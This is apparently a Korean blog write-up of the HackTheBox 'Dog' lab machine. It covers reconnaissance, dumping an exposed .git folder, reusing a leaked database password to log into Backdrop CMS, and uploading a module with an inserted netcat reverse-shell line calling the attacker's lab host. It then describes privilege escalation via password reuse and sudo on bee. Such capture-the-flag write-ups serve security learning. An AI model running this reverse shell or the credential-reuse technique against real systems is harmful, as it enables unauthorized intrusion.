Challenge Information

Enumeration & Attack Planning
Network
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 22:02 EDT
Nmap scan report for 10.10.11.58
Host is up (0.067s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.41 seconds
ssh와 http 포트가 열려 있다.
http

로그인 기능이 있는 사이트다.

사이트 하단을 통해 Backdrop CMS를 사용중이라는 사실을 확인할 수 있다.
$ ffuf -u http://10.10.11.58/FUZZ -w /usr/share/wordlists/dirb/common.txt
<SNIP>
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 75ms]
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 75ms]
**.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 76ms]**
사이트 상으로는 공격할만한 부분이 보이지 않아 Sub Directory를 조사해봤다.
.git 폴더가 노출되어 있는 것을 확인할 수 있다.
$ git-dumper http://10.10.11.58/.git ./dog_git
<SNIP>
[-] Fetching http://10.10.11.58/.git/objects/ff/bf269cbc54df0e48e358bb037f9106ec5cba5d [200]
[-] Fetching http://10.10.11.58/.git/objects/ff/c8b7a2f5179db2788971de0e8a265032d6ddab [200]
[-] Fetching http://10.10.11.58/.git/objects/ff/c418375000d182c805974f2d004e92257178d8 [200]
[-] Fetching http://10.10.11.58/.git/objects/ff/d59fb7b29088f85bacacc0e7cc55a73a3dba97 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 2873 paths from the index
$ ls ./dog_git
core files index.php layouts LICENSE.txt README.md robots.txt **settings.php** sites themes
https://github.com/arthaud/git-dumper를 통해 git 폴더를 추출하고 웹 소스코드를 획득할 수 있다.
Exploit (Initial Access)
tiffany 웹 계정 획득
$ cat settings.php
<SNIP>
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
<SNIP>
settings.php를 통해 db credential을 획득할 수 있다. root:BackDropJ2024DS2024
이 계정으로는 웹 로그인에 실패했다.
$ git log
commit 8204779c764abd4c9d8d95038b6d22b6a7515afa (HEAD -> master)
Author: root <**dog@dog.htb**>
Date: Fri Feb 7 21:22:11 2025 +0000
todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
git log에 dog@dog.htb 이메일을 확인해 획득한 비밀번호를 대입해봤지만 실패했다.
$ grep -r --exclude=*.css --exclude=*.js '@dog.htb' .
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"
./.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
비밀번호를 대입할 이메일들을 찾기 위해 grep을 사용해서 @dog.htb 가 들어간 항목들을 검색해봤다.
tiffany@dog.htb 를 확인할 수 있었고 위에서 얻은 DB 비밀번호를 대입해 웹 로그인에 성공했다.
tiffany@dog.htb:BackDropJ2024DS2024

www-data 권한 획득

Functionality 탭에서 'Install Module' 메뉴를 확인할 수 있다. 사용자가 직접 모듈을 업로드할 수 있는 점을 고려하면, 초기 침투에 적합한 벡터로 활용될 수 있다.
일단 backdropcms의 module 작성 방법에 대해 아는게 없기 때문에, 공개된 모듈이 있나 검색해봤다.
https://backdropcms.org/modules 이 사이트를 통해 모듈이 공유되고 있다.

$ cat shs.api.php
<?php
**system("busybox nc 10.10.14.4 9999 -e /bin/sh");**
이 중 "Simple hierarchical select" 모듈을 다운받아 php 코드에 reverse shell을 얻게 해주는 코드를 삽입했다.


그 후 소스 코드를 통해 식별한 module 설치 경로에서 reverse shell 코드를 삽입한 php 파일을 실행해 초기 침투를 했다.
Post-Exploit
johncusack으로 권한 상승

home 폴더를 확인하니 jobert 와 johncusack 이 있었다.
위에서 획득한 DB 비밀번호를 이 두 계정에 대입하니 johncusack 으로 권한 상승 할 수 있었다.

root로 권한 상승

johncusack은 sudo 명령어를 통해 bee 바이너리를 실행할 수 있다.


GTFOBins에는 bee를 통한 LPE 방법이 나와 있지 않아, 구글링을 통해 관련 글을 찾았고, 거기에 소개된 명령어를 이용해 root 권한 상승에 성공했다.
'Wargame > HackTheBox' 카테고리의 다른 글
| [AD] Support (0) | 2024.10.07 |
|---|---|
| [Windows] Access (0) | 2024.08.06 |
| [AD] Sauna (2) | 2024.07.16 |
| [AD] Active (0) | 2024.07.02 |
| [AD] Forest (2) | 2024.06.14 |